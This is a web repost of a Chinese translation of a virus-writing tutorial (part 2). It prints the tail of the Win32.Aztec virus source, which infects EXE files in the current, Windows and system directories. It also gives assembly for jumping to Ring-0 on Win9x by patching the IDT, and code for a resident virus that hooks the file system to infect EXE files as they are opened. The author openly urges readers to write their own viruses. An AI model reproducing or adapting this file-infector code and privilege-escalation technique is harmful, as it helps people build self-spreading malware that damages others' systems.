病毒编写教程—2

来源:互联网 发布:华南师大网络课bbs 编辑:程序博客网 时间:2024/06/02 14:38


;---------------------------------------------------------------------------
; SetFilePointer 使文件指针指向一个打开的文件。
;
; DWORD SetFilePointer(
; HANDLE hFile, // 文件的句柄
; LONG lDistanceToMove, // 需要移动文件指针的字节数
; PLONG lpDistanceToMoveHigh, // 要移动距离的高位字
;
; DWORD dwMoveMethod // 怎么移
; );
;
; 参数
; ====
;
; ?hFile: 指需要移动移动文件指针的文件。这个文件句柄必须是用GENERIC_READ或GENERIC_WRITE
; 方式创建的。
;
; ?lDistanceToMove: 指要移动文件指针的字节数。一个正值表示指针向前移动,而一个负
; 值表示文件指针向后移动。
;
; ?lpDistanceToMoveHigh: 指向64位距离的高位字。如果这个参数的值是NULL,SetFilePointer
; 只能操作最大为2^32 - 2的文件。如果这个参数被指定了,最大文件大小是2^64 - 2。
; 这个参数还获取新文件指针的高位值。
;
; ?dwMoveMethod: 指示文件指针移动的开始的地方。这个参数可以是下面的一个值
;
; 值 方式
;
; + FILE_BEGIN - 开始点是0或文件开始。如果指定了FILE_BEGIN,DistanceToMove
; 被理解为新文件指针的位置。
; + FILE_CURRENT - 当前文件指针的值是开始点。
; + FILE_END - 当前文件尾是开始点。
;
; 返回值
; ======
;
; ?如果SetFilePointer函数调用成功,返回值是双字新文件指针的低位值,而且如果
; lpDistanceToMoveHigh不是NULL,这个函数把新文件指针的双字的高位赋给由那个参
; 数指向的长整型。
; ?如果函数调用失败而且lpDistanceToMoveHigh是NULL,返回值是0xFFFFFFFF。想要
; 获得详细的错误信息,调用GetLastError函数。
; ?如果函数失败,而且lpDistanceToMoveHigh是非-NULL的,返回值是0xFFFFFFFF,而且
; GetLastError将返回一个值而不NO_ERROR。
;
; ---
;
; SetEndOfFile 函数把指定文件的end-of-file (EOF)位置移到文件指针的当前位置。
;
; BOOL SetEndOfFile(
; HANDLE hFile // 要设置EOF的文件的句柄
; );
;
; 参数
; ====
;
; ?hFile: 指示要移动EOF位置的文件。这个句柄必须是以GENERIC_WRITE访问文件方式
; 创建的。
;
; 返回
; ====
;
; ?如果函数调用成功,返回值是非0值
; ?如果函数调用失败,返回值是0。想要知道详细的错误信息,调用GetLastError函数。
; ;
;---------------------------------------------------------------------------

; 输入:
; ESI - 指向要打开的文件的名字
; 输出:
; EAX - 如果成功是文件的句柄。

OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA]
ret
OpenFile endp

;---------------------------------------------------------------------------
; CreateFile 函数创建或打开下面的对象,并返回一个可以访问这个对象的句柄:
;
; + 文件 (我们只对这个感兴趣)
; + pipes
; + mailslots
; + communications resources
; + disk devices (Windows NT only)
; + consoles
; + directories (open only)
;
; HANDLE CreateFile(
; LPCTSTR lpFileName, // 指向文件的名字
; DWORD dwDesiredAccess, // 访问 (读-写) 模式
; DWORD dwShareMode, // 共享模式
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全属性
; DWORD dwCreationDistribution, // 怎么创建
; DWORD dwFlagsAndAttributes, // 文件属性
; HANDLE hTemplateFile // 要复制的属性的文件的句柄
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个以NULL结尾的字符串,这个字符串指定要创建或打开的对象(文件,
; 管道, 邮槽, 通信资源, 磁盘设备, 控制台, 或目录)的名字。
; 如果*lpFileName 是一个路径,就有一个缺省的路径字符个数的MAX_PATH个数限制,
; 这个限制和CreateFile函数怎么解析路径有关。
;
; ?dwDesiredAccess: 指访问的对象的类型。一个应用程序可以获得读访问,写访问,读-写
; 访问,或者设备查询访问。
;
; ?dwShareMode: 设置一些标志来指定对象是怎么共享的。如果dwShareMode是0,这个对象
; 就不能关系。随后的对这个对象的打开操作也会失败,直到句柄被关闭。
;
; ?lpSecurityAttributes: 指向一个 SECURITY_ATTRIBUTES 结构,来确定返回的句柄是
; 否能从子进程继承。如果lpSecurityAttributes是NULL,句柄就不能继承。
;
; ?dwCreationDistribution: 指对文件采取已知的什么行动,和未知的行动。
;
; ?dwFlagsAndAttributes: 指文件的属性和标志。
;
; ?hTemplateFile:指用GENERIC_READaccess 访问一个模板文件的句柄。这个模板文件在
; 文件创建的时候提供文件属性和扩展的属性。Windows 95:这个值必须为NULL。如果你
; 在Windows 95下提供一个句柄,这个调用会失败而且GetLastError返回
; ERROR_NOT_SUPPORTED。
;
; 返回值
; ======
;
; ?如果函数成功了,返回值是一个打开的指定文件的句柄。如果指定的文件在函数调用前存
; 在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的时候,一个调用
; GetLastError 函数会返回 ERROR_ALREADY_EXISTS(甚至函数成功了)。如果文件在
; 调用之前不存在,GetLastError将返回0。
; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获取信息的错误信息,调用GetLastError。
;---------------------------------------------------------------------------

; 输入:
; ECX - 映射大小
; 输出:
; EAX - 如果成功为映射句柄

CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap endp

;---------------------------------------------------------------------------
; CreateFileMapping 函数为指定文件创建一个命名的或未命名的文件映射对象。
;
; HANDLE CreateFileMapping(
; HANDLE hFile, // 要映射的文件的句柄
; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
; DWORD flProtect, // 为映射对象保护
; DWORD dwMaximumSizeHigh, // 32位对象大小的高位
; DWORD dwMaximumSizeLow, // 32位对象大小的低位
; LPCTSTR lpName // 文件映射对象的名字
; );
;
; 参数
; ====
; ;
; ?hFile: 指从哪个文件创建映射对象。这个文件必须以和由flProtect参数指定的包含标
; 志相兼容的访问模式打开。建议,虽然不是必须,你打算映射的文件应该以独占方式打
; 开。
; 如果hFile 是 (HANDLE)0xFFFFFFFF,调用进程还必须在dwMaximumSizeHigh和
; dwMaximumSizeLow参数中指定映射对象的大小。这个函数是通过操作系统的页文件
; 而不是文件系统中的命名文件来创建一个指定大小的文件映射对象的。文件映射对象
; 可通过复制,继承或命名来共享。
;
; ?lpFileMappingAttributes: 指向一个SECURITY_ATTRIBUTES 结构,决定返回的句柄是
; 否可以被子进程继承。如果lpFileMappingAttributes 是NULL,句柄就不能被继承。
;
; ?flProtect: 指定当文件被映射的时候文件需要的保护。
;
; ?dwMaximumSizeHigh: 指定文件映射对象的32位最大大小的高位。
;
; ?dwMaximumSizeLow: 指定文件映射对象的32位最大大小的低位。如果这个参数和
; dwMaximumSizeHig为0,那么文件映射对象的最大大小等于有hFile确定的文件的
; 当前大小。
;
; ?lpName: 指向一个NULL结尾的字符串来指定映射对象的名字。这个名字可以包含除了反
; 斜线符号(/)之外的所有字符。
; 如果这个参数和已经存在的命名了的映射对象的名字相同,这个函数请求通过由flProtect
; 指定的保护来访问映射对象。
; 如果参数是NULL,映射对象就不通过命名创建。
;
; 返回值
; ======
;
; ?如果函数成功,返回值是一个文件映射对象的句柄。如果在调用这个函数之前对象已经
; 存在了,GetLastError 函数将返回 ERROR_ALREADY_EXISTS,而且返回值是一个已
; 经存在的文件映射对象(由当前的大小,而不是新的指定大小)的合法句柄。如果映射
; 对象不存在,GetLastError返回0。
; ?如果函数失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError函数。
;---------------------------------------------------------------------------

; input:
; ECX - Size to map
; output:
; EAX - MapAddress if succesful

MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp

;---------------------------------------------------------------------------
; MapViewOfFile函数映射一个文件视图到调用进程的地址空间中去。
;
; LPVOID MapViewOfFile(
; HANDLE hFileMappingObject, // 要映射的文件映射对象
; DWORD dwDesiredAccess, // 访问模式
; DWORD dwFileOffsetHigh, // 32位文件偏移地址的高位
; DWORD dwFileOffsetLow, // 32位文件偏移地址的低位
; DWORD dwNumberOfBytesToMap // 要映射的字节数
; );
;
;
; 参数
; ====
;
; ?hFileMappingObject: 指定一个打开的文件映射对象的句柄。CreateFileMapping 和
; OpenFileMapping函数返回这个句柄。
;
; ?dwDesiredAccess: 指访问文件视图的类型,而且因此页的保护由这个文件映射。
;
; ?dwFileOffsetHigh: 指映射开始的偏移地址的高32位。
;
; ?dwFileOffsetLow: 指映射开始的偏移地址的低32位。
;
; ?dwNumberOfBytesToMap: 指文件映射的字节数。如果dwNumberOfBytesToMap是0,那么
; 整个文件将被映射。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是映射视图开始的地址。
; ?如果函数调用失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError。
;---------------------------------------------------------------------------

mark_ db "[Win32.Aztec v1.01]",0
db "(c) 1999 Billy Belcebu/iKX",0

EXE_MASK db "*.EXE",0

infections dd 00000000h
kernel dd kernel_

@@Namez label byte

@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@FindClose db "FindClose",0
@CreateFileA db "CreateFileA",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
db 0BBh

align dword
virus_end label byte

heap_start label byte

dd 00000000h

NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h

@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_CreateFileA dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h

MAX_PATH equ 260

FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)

directories label byte

WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf

heap_end label byte

;---------------------------------------------------------------------------
; 上面所有的都是病毒要使用的数据;)
;---------------------------------------------------------------------------

; First generation host

fakehost:
pop dword ptr fs:[0] ; 清除堆栈
add esp,4
popad
popfd

xor eax,eax ; 用第一次生成的无聊的信息显示MessageBox
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA

push 00h ; 终止第一次生成
call ExitProcess

end aztec
;------到这儿为止剪切-------------------------------------------------------

好了,我认为关于这个病毒我已经解释得够清楚了。它只是一个简单的直接行为(运行期)病毒,能够在所有的Win32平台上工作,而且在当前目录,windows目录和系统目录上感染5个文件。它没有任何隐藏自己的机制(因为它是一个示例病毒),而且我想它能够被所有的反病毒软件检测到。所以它不值得改变字符串并声称是它的作者。你应该自己做。因为我知道病毒的一些部分还不够清晰(如那些调用API函数,如完成一个任务用的值),下面就简要地列举出怎么调用一些API来做具体地事情。

-> 怎么打开一个文件进行读写?

我们用来做这个的API是CreateFileA。建议参数如下:

push 00h ; hTemplateFile
push 00h ; dwFlagsAndAttributes
push 03h ; dwCreationDistribution
push 00h ; lpSecurityAttributes
push 01h ; dwShareMode
push 80000000h or 40000000h ; dwDesiredAccess
push offset filename ; lpFileName
call CreateFileA

+ hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 应该为0。

+ dwCreationDistribution, 有一些有趣的值。 它可以为:

CREATE_NEW = 01h
CREATE_ALWAYS = 02h
OPEN_EXISTING = 03h
OPEN_ALWAYS = 04h
TRUNCATE_EXISTING = 05h

当我们想要打开一个已经存在的文件的时候,我们使用OPEN_EXISTING,即03h。如果我们因为病毒的需要而要打开一个模板文件,我们在这里将要使用另外一个值,如CREATE_ALWAYS。

+ dwShareMode 应该为 01h, 总之,我们可以从下面的值中选择:

FILE_SHARE_READ = 01h
FILE_SHARE_WRITE = 02h

所有文我们让其它人读我们打开的文件,但是不能写!

+ dwDesiredAccess 处理访问文件的选择。 我们使用 C0000000h,因为它是GENERIC_READ 和 GENERIC_WRITE的和,那就意味着我们两个访问方式都要:)下面你得到:

GENERIC_READ = 80000000h
GENERIC_WRITE = 40000000h

** 如果有一个失败,这个调用CreateProcess将会返回给我们0xFFFFFFFF;如果没有任何失败,它将返回给我们打开文件的句柄,所以,我们将它保存到相关变量中。要关闭那个句柄(需要的时候)使用CloseHandle这个API函数。

-> 怎样创建一个打开文件的映射?

要用到的API是CreateFileMappingA。建议的参数为:

push 00h ; lpName
push size_to_map ; dwMaximumSizeLow
push 00h ; dwMaximumSizeHigh
push 04h ; flProtect
push 00h ; lpFileMappingAttributes
push file_handle ; hFile
call CreateFileMappingA

+ lpName 和 lpFileMappingAttributes 建议为 0。
+ dwMaximumSizeHigh 应该为 0 除非当 dwMaximumSizeLow < 0xFFFFFFFF
+ dwMaximumSizeLow 是我们想要映射的大小
+ flProtect 可以为如下的值:

PAGE_NOACCESS = 00000001h
PAGE_READONLY = 00000002h
PAGE_READWRITE = 00000004h
PAGE_WRITECOPY = 00000008h
PAGE_EXECUTE = 00000010h
PAGE_EXECUTE_READ = 00000020h
PAGE_EXECUTE_READWRITE = 00000040h
PAGE_EXECUTE_WRITECOPY = 00000080h
PAGE_GUARD = 00000100h
PAGE_NOCACHE = 00000200h

我建议你使用PAGE_READWRITE,那个在映射时读或写不出现问题。

+ hFile 是我们想要映射的先前打开的句柄。

** 如果失败了,调用这个API函数会返回给我们一个NULL值;否则将会返回给我们映射句柄。我们将把它保存到一个变量中以备后用。要关闭一个映射句柄,要调用的API应该为CloseHandle。

-> 怎么能映射文件?

应该用MapViewOfFile这个API函数,它的建议参数如下:

push size_to_map ; dwNumberOfBytesToMap
push 00h ; dwFileOffsetLow
push 00h ; dwFileOffsetHigh
push 02h ; dwDesiredAccess
push map_handle ; hFileMappingObject
call MapViewOfFile

+ dwFileOffsetLow 和 dwFileOffsetHigh 应该为 0
+ dwNumberOfBytesToMap 是我们想要映射的文件的字节数
+ dwDesiredAccess 可以为如下值:

FILE_MAP_COPY = 00000001h
FILE_MAP_WRITE = 00000002h
FILE_MAP_READ = 00000004h

我建议 FILE_MAP_WRITE。

+ hFileMappingObject 应该为映射句柄( Mapping Handle ), 由先前调用的CreateFileMappingA函数返回。

** 如果失败,这个 API 将会返回给我们NULL, 否则它将返回给我们映射地址(Mapping Address)。所以,从那个映射地址,你可以访问映射空间的任何地方,并进行你想要的修改:)为了关闭那个映射地址,应该用UnmapViewOfFile这个API。

-> 怎么关闭文件句柄和映射句柄?

OK,我们必须使用CloseHandle这个API。

push handle_to_close ; hObject
call CloseHandle

** 如果关闭成功, 它返回 1。

-> 怎么关闭映射地址?

你应该使用UnmapViewOfFile。

push mapping_address ; lpBaseAddress
call UnmapViewOfFile

** 如果关闭成功,它返回1。

【Ring-0,在上帝级编码】
~~~~~~~~~~~~~~~~~~~~~~
自由!你热爱吗?在Ring-0,我们在限制之外,那里没有任何限制。因为Micro$oft的无能,我们有很多的方法跳到这个级别,一个理论上不能到达的地方。但是,我们可以在Win9X系统中跳转到Ring-0:)

例如,Micro$oft的傻瓜们没有保护中断表。这在我的眼中是一个巨大的安全失败。但话又说过来,如果我们可以利用它编写病毒,它就不是一个错误了,它就是一个礼物!;)

% 来到 Ring-0 %
~~~~~~~~~~~~~~~
好了,我将解释在我看来最简单的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一个固定的地址,所以我们必须使用指令来定位它,那就是SIDT。

----------------------------------------------------------------------------
_______________________________________________________
| SIDT - Store Interrupt Descriptor Table (286+ 专有) |
|_______________________________________________________|

+ 用法: SIDT 目标
+ 修改标记: 无

存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。

Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5

0F 01 /1 SIDT mem64 Store IDTR to mem64

----------------------------------------------------------------------------

如果我们使用SIDT还不够清晰的话,它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我们知道了IDT在哪里,我们可以修改中断向量,并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在使中断向量改变后指向我们的代码(并把它们保存,以备以后恢复)之后,我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰,下面是通过修改IDT的方法来跳到Ring-0的代码。

;---------从这儿开始剪切----------------------------------------------------


.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)

extrn ExitProcess:PROC
extrn MessageBoxA:PROC

Interrupt equ 01h ; Nothing special

.data

szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0

;------------------------------------------------------------------------------
;好了,这一段对你来说已经相当清晰了,是吗? :)
;------------------------------------------------------------------------------

.code

start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector

;------------------------------------------------------------------------------
; 这相当简单。SIDT,正如我以前解释过的,把IDT的地址保存到一个内存地址中,为了
; 我们的简单起见,我们直接使用了堆栈。接下来是一个POP指令,它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;------------------------------------------------------------------------------

mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot

;------------------------------------------------------------------------------
; 相当简单。它仅仅是为了将来恢复,把EDX指向的内容保存到EBX中
;------------------------------------------------------------------------------

lea edi,InterruptHandler

mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di

;------------------------------------------------------------------------------
; 我以前是不是说过了它有多简单? :)这里,我们给EDI指向新中断处理的偏移地址,下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 没关系,因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中,然后保存。
;------------------------------------------------------------------------------

push ds ; Safety safety safety...
push es

int Interrupt ; Ring-0 comez hereeeeeee!!!!!!!

pop es
pop ds

;------------------------------------------------------------------------------
;Mmmm...很有意思。我们为了安全起见,把DS和ES压栈了,避免一些罕见的错误,但是
;它可以不用它工作,相信我。因为中断已经被补丁过了,除了设置这个中断之外,不用
;做其它任何事情了...现在我们已经在RING0里了,下面的代码是继续InterruptHandler
;------------------------------------------------------------------------------

mov [edx-4],bx ; Restore old interrupt values
ror ebx,16 ; ROR, SHR, SAR... who cares?
mov [edx+2],bx

back2host:
push 00h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00h ; Handle of owner
call MessageBoxA ; The API call itself

push 00h
call ExitProcess

ret

;------------------------------------------------------------------------------
;现在除了恢复原先的保存在EBX中的中断向量外,没做其它更多的事情。然后,我们
;返回代码到主体。(好了,只是假设是那样) ;)
;------------------------------------------------------------------------------

InterruptHandler:
pushad

; 下面是你的代码 :)

popad
iretd

end start

;---------从这儿为止剪切----------------------------------------------------

现在我们可以访问它了。我想所有人都可以做它,但是现在对于普通病毒在第一次访问Ring-0时又面临一个问题:我们为什么现在做呢?

% 在 Ring-0 下编写病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
我喜欢开始有一点点算法的教程,所以你将来我们该怎样在Ring-0编写病毒的时候碰到一个。

----------------------------------------------------------------------
1.测试运行的操作系统(OS):如果NT,跳过病毒并返回目录给主体
2.跳到Ring-0(IDT,VMM插入或调用门技术)
3.执行一个中断,它包含了感染代码。
3.1.获得一个放置病毒驻留的地方(开辟页或者在堆中)
3.2.把病毒放进去
3.3.钩住文件系统并保存旧的钩子
3.3.1.在FS Hook中,首先要保存所有的参数并修复ESP
3.3.2.参数压栈
3.3.3.然后检查系统是否试图打开一个文件,如果没有,跳过
3.3.4.如果试图打开,首先把文件名转化成ASCII码
3.3.5.然后检查是否是一个EXE文件。如果不是,跳过感染
3.3.6.打开,读文件头,操作,重写,添加和关闭
3.3.7.调用旧的钩子
3.3.8.跳过所有的返回到ESP的参数
3.3.9.返回
3.4.返回
4.恢复旧的中断向量
5.返回控制权给主体
----------------------------------------------------------------------
这个算法有一点点大,无论如何我可以使它更概要,但是我更愿意直接行动。OK,来吧,Let's go!

当文件运行时测试操作系统
~~~~~~~~~~~~~~~~~~~~~~~~
因为在NT下Ring-0有些问题(Super,解决它们!),我们必须我们所在的操作系统,如果不是Win9X平台就返回控制权给主体。好了,有很多方法去做这个:

+ 使用 SEH
+ 检查代码段的值

好了,我假设你已经知道了怎么玩SEH,对吗?我在另外一章已经解释了它的用法,所以现在是去读一下它的时候了:)关于第二个可能的事情,下面是代码:

mov ecx,cs
xor cl,cl
jecxz back2host

这个例子的解释:在Windows NT中,代码段总是小于100h,而在Win95/98中总是大一些,所以我们清除它的低位字节,而且如果它比100小,ECX将为0,反过来,如果它比100大,它将不会是0:)优化了,耶;)

%跳到Ring-0并执行中断%
~~~~~~~~~~~~~~~~~~~~~~
好了,已经在这个文档中的访问Ring-0部分解释了最简单的方法,所以关于这个我就不多说了:)

%我们已经在Ring-0里了...该做什么呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Ring-0里面,代之API,我们有VxD服务。VxD 服务以下面的形式访问:

int 20h
dd vxd_service

vxd_service占两个字,MSW表明VxD号,而LSW表明我们从VxD中调用的函数。例如,我将使用VMM_PageModifyPermissions值:

dd 0001000Dh
↑_____↑_____ Service 000Dh _PageModifyPermissions
|_______ VxD 0001h VMM

所以,为了调用它,我们必须如下做:

int 20h
dd 0001000Dh

一个非常聪明的编码方式是编写一个宏来自动做这个,并使号码为EQUates。但是,那是你的选择。这个值是固定的,所以,在Win95和Win98中一样。不要担心,Ring-0的一个好处是你不需要在Kernel中或其它地方搜索偏移地址(当我们使用API的时候),因为没有必要做它,必须硬编码:)

这里我必须声明一个我们在编写一个Ring-0病毒的时候必须清除的非常重要的事情:int 20h和地址,我演示给你的访问VxD的函数,在内存中如下:

call dword ptr [VxD_Service] ; 回调服务

你可以认为有点愚蠢,但是,它非常重要,而且真的很痛苦,因为病毒用这些CALL而不是int和服务的双字偏移来复制到宿主,这使得病毒只能在你的计算机上执行,而不能在其他人的机器上运行:(在现实生活中,这个麻烦有许多解决方法。它们中的其中的一个,正如Win95.Padania所做的,在每个VxD调用后面修复它。另外的方法是:做一个所有的偏移地址的表来修复,直接做等等。下面是我的代码,而且你可以在我的Garaipena和PoshKiller中看到它:

VxDFix:
mov ecx,VxDTbSz ; 传送例程的次数
lea esi,[ebp+VxDTblz] ; 指向表的指针
@lo0pz:lodsd ; 把当前表的偏移地址装载到EAX中
add eax,ebp ; 加上delta 偏移
mov word ptr [eax],20CDh ; 放到那个地址中
mov edx,dword ptr [eax+08h] ; 获得 VxD 服务值
mov dword ptr [eax+02h],edx ; 并恢复它
loop @lo0pz ; 校正另外一个
ret

VxDTblz label byte ; 所有有VXD调用的偏移地址表
dd (offset @@1)
dd (offset @@2)
dd (offset @@3)
dd (offset @@4)
; [...] 所有其它的调用VxD函数的指针必须列在这里 :)

VxDTbSz equ (($-offset VxDTblz)/4) ; 个数

我希望你理解了每个我们调用的VxD函数必须有它的偏移地址。哦,我几乎忘了另外一件重要的事情:如果你正在使用我的VxD修正过程,你的VxDCall宏该怎样。下面给出:

VxDCall macro VxDService
local @@@@@@
int 20h ; CD 20 +00h
dd VxDService ; XX XX XX XX +02h
jmp @@@@@@ ; EB 04 +06h
dd VxDService ; XX XX XX XX +08h
@@@@@@:
endm

OK,现在我们需要一个驻留的地方。我个人偏向于放在net堆中,因为它很容易编写(懒人的规则!)。

---------------------------------------------------------------------------
** IFSMgr_GetHeap - 开辟一块net堆

+ 除非IFSMgr执行了SysCriticalInit,否则这个服务将不合法

+ 这个函数使用 C6 386 _cdecl 调用顺序

+ 入口 -> TOS - 需要大小

+ 出口 -> EAX - 堆块的地址,如果失败为0

+ 使用 C 寄存器 (eax, ecx, edx, flags)
---------------------------------------------------------------------------

以上是一些Win95 DDK的信息。让我们看看关于这个的例子:


InterruptHandler:
pushad ; Push 所有寄存器

push virus_size+1024 ; 我们需要的内存 (virus_size+buffer)
; 当你使用缓冲区的时候,更好
; 把它加上更多的字节
@@1: VxDCall IFSMgr_GetHeap
pop ecx

够清楚了吧?正如DDK所说的,如果它失败了,它将在EAX中返回给我们0,所以检查可能的失败。接下来的POP非常重要,因为VxD的大多数服务不修正堆栈,所以我们在调用VxD函数之前压栈的值还在堆栈中。

or eax,eax ; cmp eax,0
jz back2ring3

 

如果函数成功了,我们在EAX中得到了我们必须移动的病毒主体的地址,那么Let's go!

mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

mov edi,eax ; Where move virus
lea esi,ebp+start ; What to move
push eax ; Save memory address for later
sub ecx,1024 ; We move only virus_size
rep movsb ; Move virus to its TSR location ;)
pop edi ; Restore memory address

我们在一个内存地址中的是病毒,准备TSR的,对吗?而且在EDI中是病毒在内存中开始的地址,所以我们可以把它作为下个函数的delta offset:)好了,我们现在需要hook文件系统了对吗?OK,有一个函数可以做这个工作。很惊讶,是把? Micro$oft微软工程师为我们做了累活。

---------------------------------------------------------------------------
** IFSMgr_InstallFileSystemApiHook - 安装一个文件系统 api hook

这个服务为调用者安装一个文件系统api hook。这个hook在IFS manager 和一个FSD之间,钩子可以看任何IFS manager对FSD的任何调用。

这个函数使用C6 386 _cdecl 调用顺序
ppIFSFileHookFunc
IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

入口 TOS - 将要安装作为钩子的函数的地址

出口 EAX - 指向在这个链中的包含以前钩子的地址变量

使用 C 寄存器

---------------------------------------------------------------------------

清楚了吧?如果不,我希望你在看了一些代码之后,理解了它。好了,让我们钩住文件系统(hook FileSystem)...


lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs)
push ecx ; Push it

@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

pop ecx ; Don't forget this, guy
mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

back2ring3:
popad
iretd ; return to Ring-3. Yargh

好了,我们已经看完了Ring-0病毒的安装部分。现在,我们必须编写文件系统(FileSystem)的处理部分了:)简单,但是否如你所想?:)

FileSystem Handler:真正有趣!!!

耶,下面是驻留感染它自己,但是我们在开始之前不得不做些事情。首先,我们必须对堆栈做一个安全拷贝,也就是说保存ESP内容到EBP寄存器中。然后,我们应该把ESP减去20h,为了修正堆栈指针。让我们看看一些代码:

New_Handler equ $-(offset virus_start)
FSA_Hook:
push ebp ; Save EBP content 4 further restorin
mov ebp,esp ; Make a copy of ESP content in EBP
sub esp,20h ; And fix the stack

现在,因为我们的函数要被系统用一些参数调用,我们应该push它们,就像原先的处理程序所做的。要push的参数从EBP+08h到EBP+1Ch,包含它们,并和IOREQ结构相关。

push dword ptr [ebp+1Ch] ; pointer to IOREQ structure.
push dword ptr [ebp+18h] ; codepage that the user string was
; passed in on.
push dword ptr [ebp+14h] ; kind of resource the operation is
; being performed on.
push dword ptr [ebp+10h] ; the 1-based drive the operation is
; being performed on (-1 if UNC).
push dword ptr [ebp+0Ch] ; function that is being performed.
push dword ptr [ebp+08h] ; address of the FSD function that
; is to be called for this API.
现在,我们已经把应该push的参数push到正确的地方了,所以对它们不要再担心了。现在,我们必须检查你将要操作的IFSFN函数。下面你得到的是最重要的小列表:

-------------------------------------------------------------------------------
** 传送给 IFSMgr_CallProvider 的IFS函数ID

IFSFN_READ equ 00h ; read a file
IFSFN_WRITE equ 01h ; write a file
IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next
IFSFN_FCNNEXT equ 03h ; Find Next Change Notify
IFSFN_SEEK equ 0Ah ; Seek file handle
IFSFN_CLOSE equ 0Bh ; close handle
IFSFN_COMMIT equ 0Ch ; commit buffered data for handle
IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range
IFSFN_FILETIMES equ 0Eh ; get/set file modification time
IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations
IFSFN_HANDLEINFO equ 10h ; get/set file information
IFSFN_ENUMHANDLE equ 11h ; enum file handle information
IFSFN_FINDCLOSE equ 12h ; LFN find close
IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close
IFSFN_CONNECT equ 1Eh ; connect or mount a resource
IFSFN_DELETE equ 1Fh ; file delete
IFSFN_DIR equ 20h ; directory manipulation
IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation
IFSFN_FLUSH equ 22h ; flush volume
IFSFN_GETDISKINFO equ 23h ; query volume free space
IFSFN_OPEN equ 24h ; open file
IFSFN_RENAME equ 25h ; rename path
IFSFN_SEARCH equ 26h ; search for names
IFSFN_QUERY equ 27h ; query resource info (network only)
